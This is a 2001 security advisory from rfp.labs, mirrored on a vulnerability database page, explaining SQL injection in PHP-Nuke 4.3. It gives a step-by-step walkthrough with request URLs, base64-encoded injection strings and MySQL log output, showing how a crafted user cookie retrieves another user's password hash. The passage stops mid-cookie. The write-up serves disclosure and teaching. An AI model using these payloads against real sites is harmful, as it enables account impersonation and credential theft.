Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:1286
HistoryFeb 14, 2001 - 12:00 a.m.

RFP2101: RFPlutonium to fuel your PHP-Nuke

2001-02-1400:00:00
vulners.com
48

-----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/----

                RFPlutonium to fuel your PHP-Nuke
          SQL hacking user logins in PHP-Nuke web portal

------------------------------------/ rain forest puppy / [email protected]

Table of contents:

-/ 1 / Standard advisory information
-/ 2 / High and clean overview
-/ 3 / Down and dirty explanation
-/ 4 / New Year BONUS: other tricks
-/ 5 / Resolution


Disclaimer: no one is forcing you to read this; stop if you don't want to.

-/ 1 / Standard advisory information /------------------------------------

Software package: PHP-Nuke
Vendor homepage: www.phpnuke.org
Version tested: 4.3
Platforms: Platform-independent (PHP)
Vendor contacted: 12/29/2000
CVE candidate: CAN-2001-0001
Vulnerability type: Authentication weaknesses (user and admin)
RFPolicy v2: http://www.wiretrip.net/rfp/policy.html

Prior problems: Admin authentication bypass, Aug 2000
BID: 1592 CVE: CVE-2000-0745 SAC: 00.35.032

Current version: 4.4 (may still be vulnerable; not tested)

-/ 2 / High and clean overview /------------------------------------------

PHP-Nuke is a pretty groovy web portal/news system written in PHP. I was
actually so impressed with its look, and even more so by some of its
features, that I decided to use it for two upcoming projects, and like any
other piece of code I decide to use, I gave it a quick code review (via la
open source!). While I was happy with the code in general, it did exhibit
a few security problems involving tampering with SQL statements.

Rather than write a five-line text saying "PHP-Nuke is exploitable
…blah…blah", I feel it is much more advantageous, from an educational
standpoint, to walk through the process of how this vulnerability works.
Those of you who want to see more examples of SQL hacking can take a look
at RFP2K01, available at:

    http://www.wiretrip.net/rfp/p/doc.asp?id=42

This is also not an extremely useful hack–it allows you to impersonate
other users and retrieve their password hashes. It also has a caveat that
could allow an attacker to easily brute force an author (admin) password.

-/ 3 / Down and dirty explanation /--------------------------------------

First off, to better aid SQL hacking, it helps to turn on SQL query
logging. In MySQL, this is a matter of adding the '-l logfile' parameter
to (safe_)mysqld when starting it.

Next, let's take a look at the code. Since this is written in PHP and
uses MySQL, our target function is mysql_query(). So let's grep for all
uses of mysql_query():

[rfp@cide nuke]# ls
admin/ config.php index.php print.php topics.php
admin.php counter.php language scroller.js ultramode.txt
article.php dhtmllib.js links.php search.php upgrades
auth.inc.php faq.php mainfile.php sections.php user.php
backend.php footer.php manual/ stats.php voteinclude.php
banners.php friend.php memberslist.php submit.php
cache/ header.php pollBooth.php themes/
comments.php images/ pollcomments.php top.php

[rfp@cide nuke]# grep mysql_query *
admin.php: $result = mysql_query("SELECT qid FROM queue");
… 254 more lines of SQL queries that I don't want to print here …

Now, lets take a look at those that contain variables, since it’s possible
user input is contained in those variables. For example, a few select
lines from that output:

article.php: mysql_query("update users set umode='$mode',
uorder='$order', thold='$thold' where uid='$cookie[0]'");

banners.php: mysql_query("delete from banner where bid=$bid");

comments.php: $something = mysql_query("$q");

user.php: $result = mysql_query("select email, pass from users where
(uname='$uname')");

index.php: mysql_query("insert into referer values (NULL, '$referer')");

The query from article.php contains four variables: $mode, $order, $thold,
and $cookie[0]. The banners.php is interesting, because it seems that the
entire query is contained within the $q variable, meaning we must look
inside the file to see what the value is. In doing that, we get:

    $q = "select tid, pid, sid, date, name, email, url, host_name,
    subject, comment, score, reason from comments where sid=$sid 
    and pid=$pid";
    if($thold != "") {
            $q .= " and score>=$thold";
    } else {
            $q .= " and score>=0";
    }
    if ($order==1) $q .= " order by date desc";
    if ($order==2) $q .= " order by score desc";

So we see that $q used the variables $sid and $pid, and perhaps $thold, if
it's defined.

So what do we do now? Well, let's take a look at what is actually in some
of those variables. We’ll start with the above query listed for
article.php. Here is the actual code, with comments removed:

    <?PHP

    if(!isset($mainfile)) { include("mainfile.php"); }
    if(!isset($sid) && !isset($tid)) { exit(); }

    if($save) {
            cookiedecode($user);
            mysql_query("update users set umode='$mode', uorder='$order',
            thold='$thold' where uid='$cookie[0]'");
            getusrinfo($user);
            $info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
            "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
            "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
            setcookie("user","$info",time()+$cookieusrtime);
    }

(Note: the code was reformatted for display in this advisory)

So we see that nothing is apparently done to $mode, $order, $thold, or
$cookie[0]. However, mainfile.php is included and something may be
happening in the cookiedecode() function, so we need to check them out.

First, let's see if mainfile.php defines the variables $mode, $order,
$thold, or $cookie:

    [rfp@cide nuke]# grep \$mode mainfile.php 
    [rfp@cide nuke]# grep \$order mainfile.php 
    [rfp@cide nuke]# grep \$thold mainfile.php 
    [rfp@cide nuke]#

Hmm, so mainfile.php doesn't do anything with those variables. However, a
plethora of stuff is returned for $cookie (this is not shown). This is
due to cookiedecode() (and other similar functions) contained in
mainfile.php. So, here is the code to cookiedecode():

    function cookiedecode($user) {
            global $cookie;
            $user = base64_decode($user);
            $cookie = explode(":", $user);
            return $cookie;
    }

The call to cookiedecode() takes the string in $user, base64 decodes it,
and then splits it into parts around the ':' character, putting it into
the array $cookie[]. This makes sense, since the above SQL query is using
$cookie[0], the first element of the array.

Huh? Where does $user come from? A grep through mainfile.php shows that
$user is only used in functions.

Wow. That means the author does not do anything to $user (which is
decoded and split into $cookie[0]), $mode, $order, $thold. For those of
you that are not familiar with PHP, PHP will define global variables with
values taken from URL parameters. For example, a query of:

    /somefile.php?varb1=rain&value2=forest&param3=puppy

will make three global variables in the script $varb1, $value2, and
$param3 with the values of 'rain', 'forest', and 'puppy', respectively.
This means that we can plug in arbitrary values for $mode, $order, and
$thold for article.php by requesting an URL that looks something like:

    /article.php?mode=rain&order=forest&thold=puppy

But before we do that, there's one more piece we're forgetting, the snippet:

    if($save) {
            ...

That means the $save variable has to be set. A quick grep through
mainfile.php shows that $save is not referenced, meaning it needs to be
included in the URL. This gives us:

    /article.php?mode=rain&order=forest&thold=puppy&save=1

So let's try it. Requesting this page, nothing is returned, because I
forgot about the following line:

    if(!isset($sid) && !isset($tid)) { exit(); }

Ugh, so we need to add $sid and $tid to the URL line, which is now:

    /article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0

This returns a page that has an error. Looking at our mysql query logs,
there's an entry for:

    1 Query      update users set umode='rain', uorder='forest',
                    thold='puppy' where uid=''

This proves that it's working. We can now submit values into the SQL
query. We now need to see if we can tamper with the query. We will
attempt to β€˜rewrite’ the query so that it will include other SQL code.
Doing this involves some trickery: the addition of some extra single
quotes. What we'll do is change $thold to read:

            puppy', thold='puppy

This should result in a query that looks like:

    update users set umode='rain', uorder='forest',
            thold='puppy', thold='puppy' where uid=''
                   ^^^^^^^^^^^^^^^^^^^^
                    the data we submit

Sure, it's not exactly a useful SQL statement, but we're only verifying
our exploit method. So let's fire that into the URL and submit it:

    /article.php?mode=rain&order=forest&thold=puppy',%20thold='puppy&
            save=1&sid=0&tid=0

(Note: URL is wrapped)

This results in a mysql log of:

    5 Query      update users set umode='rain', uorder='forest',
            thold='puppy\', thold=\'puppy' where uid=''

DRAT! It seems PHP automatically escapes the ' (it changes them into \')
when they are processed from URL parameters. Granted, I'm using PHP 4, so
perhaps PHP 3.x doesn't, but still. From the exploit angle, this sucks.
From the security angle, this rocks. But I may be overlooking
something–if anyone sees something I'm missing, drop me an email;
however, please look at the code first–thoughtful assumptions and hunches
as to why/how this is happening are nice, but my inbox is already
overflowing as it is. :)

Anyway, all is not lost. At this point, we know that global variables
being thrown into SQL statements may sometimes be safe (it may be PHP
version dependant). But let's go back and look at the cookiedecode()
function. It takes a global value ($user), base64 decodes it, splits it,
and puts it into the $cookie[] array. Note that $user could be in a HTTP
cookie, or it could be a URL parameter–PHP doesn't make a distinction
(well, at least this code doesn't).

Since the actual value is encoded by base64 encoding, PHP doesn't do any
escaping on the value that's encoded. Meaning whatever we put in the
$user value should be safe. Let's see.

First, we need to get the right value. Since cookiedecode() expects to
split a value with the ':' character and use the first value, we at least
need 'something:' as our value. The 'something' is our text. For now,
we'll set it to be 'www.cipherwar.com:'. Now, we need to base64 encode
it. A quick little commandline ditty:

    [rfp@cide nuke]# echo -n "www.cipherwar.com:" | uuencode -m f
    begin-base64 644 f
    d3d3LmNpcGhlcndhci5jb206
    ====

This means we need to add the following to our URL:

    &user=d3d3LmNpcGhlcndhci5jb206

And when I run the above URL with the extra user parameter, my mysql logs
show:

    7 Query      update users set umode='rain', uorder='forest', 
                    thold='puppy' where uid='www.cipherwar.com'

Rock! Ok, now can we escape the SQL statement?

    [root@cide nuke]# echo -n "www.cipherwar.com' or uid='1" | 
            uuencode -m f
    begin-base64 644 f
    d3d3LmNpcGhlcndhci5jb20nIG9yIHVpZD0nMQ==
    ====

Putting that in the URL and submitting it, my mysql log now shows:

    3 Query      update users set umode='rain', uorder='forest',
                    thold='puppy' where uid='www.cipherwar.com' 
                    or uid='1'

!@$%! It worked! As we can see, our values are unmolested, allowing us to
tamper with the query. However, we're slightly limited in our
exploitation, due to a few caveats of MySQL. For those of you who are
familiar with SQL hacking, and particularly some of the tricks I've
published in the past, MySQL does not allow multiple SQL commands to be
submitted in one query. That means something like:

    mysql_query("select * from table1; select * from table2");

It does not run two 'selects'–it only runs the first, and drops the
second into oblivion. However (don't lose hope), I found this tidbit on
the MySQL TODO list:

    Fix `libmysql.c' to allow two mysql_query() commands in a row without
    reading results or give a nice error message when one does this. 

But also listed on the TODO list:

    Subqueries. select id from t where grp in (select grp from g where
    u > 100) 

Both of which would greatly increase the SQL hacking aspect of MySQL. :)
In the meantime, that doesn't help us (unless the site rewrote PHP-Nuke to
use a different database engine, such as Postgres. But this is doubtful).
This means we have the limitation of only tampering with the query given
(i.e. we can't add a separate query). Since PHP escapes URL parameter
variables we are also limited, unless the query contains a variable that
was parsed by the script in some form (such as with cookiedecode()).
Hmm, that's quite a few limitations.

So let's look at the query we've been running:

            mysql_query("update users set umode='$mode', uorder='$order',
            thold='$thold' where uid='$cookie[0]'");

By specifying an arbitrary uid value, we can clobber the umode, uorder,
and thold values of any user. Though annoying, it is hardly a critical
security problem, since umode, uorder, and thold are just the display
preferences of a user. Let's look at the entire code snippet:

    if($save) {
            cookiedecode($user);
            mysql_query("update users set umode='$mode', uorder='$order',
            thold='$thold' where uid='$cookie[0]'");
            getusrinfo($user);
            $info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
            "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
            "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
            setcookie("user","$info",time()+$cookieusrtime);   
    }

After calling cookiedecode() and running the first query, there's a call
to getusrinfo(), and then a bunch of the user's information is base64
encoded and sent to us as a cookie. However, notice! The $userinfo[pass]
value is included! This means, if we're careful, we may possibly be sent
a cookie that contains a user's password. All we need to do is get past
getusrinfo():

    function getusrinfo($user) {
            global $userinfo;
            $user2 = base64_decode($user);
            $user3 = explode(":", $user2);
            $result = mysql_query("select uid, name, uname, email, 
                    femail, url, pass, storynum, umode, uorder, 
                    thold, noscore, bio, ublockon, ublock, theme,
                    commentmax from users where uname='$user3[1]' 
                    and pass='$user3[2]'");
            if(mysql_num_rows($result)==1) {
                    $userinfo = mysql_fetch_array($result);
            } else {
                    echo "<b>A problem occured</b><br>";
            }
            return $userinfo;
    }

Hmm, ok, let's see. Again, it takes the $user value, base64 decodes it
(just like cookiedecode()), then runs a query using parts 2 and 3 from the
cookie ($user3[1] and $user3[2], respectively). However, to correctly
work, we need to know the right uname and pass of the target user,
otherwise the SQL query will return 0 rows, and will display "A problem
occured". If we already know the username and password of a user, we
wouldn't be going through this, now would we?

So, can we tamper with the query? We're looking to return all the user
data for the record where "uname='name' and pass='password'". Perhaps if
we broaden the search criteria, we can do better. Consider a query that
looks like:

    ... where uname='name' and pass='password' or uname='name'

Logically, the query is grouped like so:

    ... where (uname='name' and pass='password') or (uname='name')

So now, if we know a user's username (which we should), but not their
password, the first clause will fail; however, the second will succeed!
Or at least, that's the plan…

So let's test that hypothesis. Now we need to make our $user variable
contain something like:

    uid:username:blah' or uname='username

On my system I want to target the user 'test1'. So I'm going to try the
values:

    1:test1:blah' or uname='test1

Now, let's encode that:

    [root@cide nuke]# echo -n "1:test1:blah' or uname='test1" | 
            uuencode -m f
    begin-base64 644 f
    MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE=
    ====

Put that in our query above, and try it out. Lo and behold, I'm sent a
Cookie that looks like:

    Set-Cookie: user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D;
    expires=Friday, 29-Dec-00 
Related for SECURITYVULNS:DOC:1286